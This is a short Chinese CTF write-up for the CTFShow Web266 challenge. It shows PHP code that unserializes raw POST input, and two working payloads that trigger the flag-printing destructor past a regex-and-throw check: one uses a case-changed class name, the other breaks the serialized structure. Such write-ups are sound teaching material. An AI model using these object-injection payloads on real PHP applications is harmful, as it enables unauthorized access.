CTFSHOW Web266(破坏反序列化结构而绕过throw)

<?php
    highlight_file(__FILE__);
    include('flag.php');
    $cs = file_get_contents('php://input');
    class ctfshow{
        public $username='xxxxxx';
        public $password='xxxxxx';
        public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
        }
        public function login(){
        return $this->username===$this->password;
        }
        public function __toString(){
        return $this->username;
        }
        public function __destruct(){
        global $flag;
        echo $flag;
        }
    }
    $ctfshowo=@unserialize($cs);
    if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
    }
?>


我们这里有两种解法,第一种解法利用“PHP对类名的大小写不敏感”,POST提交参数O:7:"Ctfshow":2:{}

第二种解法利用破坏反序列化结构,这个需要记住即可,POST提交参数O:7:"ctfshow":2:{ctfshow}

posted @ 2022-08-29 08:41  hithub  阅读(637)  评论(0)    收藏  举报